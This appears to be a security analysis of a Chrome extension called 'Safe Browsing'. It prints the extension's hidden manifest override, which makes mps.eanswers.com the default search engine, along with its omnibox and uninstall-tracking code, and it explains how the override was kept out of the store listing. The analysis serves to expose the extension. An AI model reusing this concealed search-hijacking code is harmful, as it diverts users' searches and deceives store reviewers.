Safe Browsing

The bundled manifest silently sets `mps.eanswers.com` as the default search provider with `is_default: true`, redirecting all user searches through a third-party domain for monetization/data collection. This block is entirely absent from the published CWS manifest, indicating the publisher deliberately hid this capability from the store listing to avoid scrutiny.

{  "chrome_settings_overrides": {    "search_provider": {      "encoding": "UTF-8",      "favicon_url": "https://mps.eanswers.com/favicon.ico",      "image_url": "https://mps.eanswers.com/search/?category=images&s=sbpr&q={searchTerms}",      "is_default": true,      "keyword": "Safe Browsing",      "name": "Safe Browsing",      "search_url": "https://mps.eanswers.com/search/?category=web&s=sbpr&q={searchTerms}",      "suggest_url": "https://sug.eanswers.com/search/index_sg.php?q={searchTerms}"    }  }}

The CWS-published manifest shows only `contextMenus` with no `chrome_settings_overrides`, while the bundled installed manifest adds a full search provider override. This capability-hiding mismatch is a direct policy violation pattern used to deceive CWS reviewers and users about the extension's true behavior.

{  "manifest_version": 2,  "permissions": [    "contextMenus"  ]}

Every search query typed into the omnibox is captured and forwarded to `mps.eanswers.com` with tracking parameters (`s=sbpr`, `se=private`). This gives the operator full visibility into the user's search history and allows injection of sponsored/malicious results. The `vert=private` tag ironically markets itself as a privacy feature while doing the opposite.

const searchDomain = "https://mps.eanswers.com";const tag = "sbpr";const vert = "private";const search = `${searchDomain}/search?s=${tag}&se=${vert}&q=`;chrome.omnibox.onInputEntered.addListener(  (text) => {    text = text.replace("Safe Browsing ", "");    const url = search + encodeURIComponent(text);    chrome.tabs.create({      url: url    });  });

The extension pings `mps.eanswers.com` on uninstall with the extension ID and name, allowing the operator to track removal events and correlate with install telemetry. The `fe=true` flag on the manual uninstall path (vs. silent removal) enables the operator to distinguish user-initiated removals from automated cleanup.

const uninstall = `${searchDomain}/wim/uninstall?s=${tag}&vert=${vert}`;function setUninstallURL() {  chrome.runtime.setUninstallURL(uninstall);}function onClickHandler(info) {  let manifest = chrome.runtime.getManifest();  manifest.id = chrome.runtime.id;  const baseDir = `${searchDomain}/wim/rate/?id=${manifest.id}&name=${encodeURIComponent(manifest.name)}&vert=${vert}`;  ...} else if (info.menuItemId === 'uninstallmenu') {  const uninstallUrl = `${uninstall}&id=${manifest.id}&fe=true`;  chrome.runtime.setUninstallURL(uninstallUrl, function() {    chrome.management.uninstallSelf({      showConfirmDialog: true    });  });}}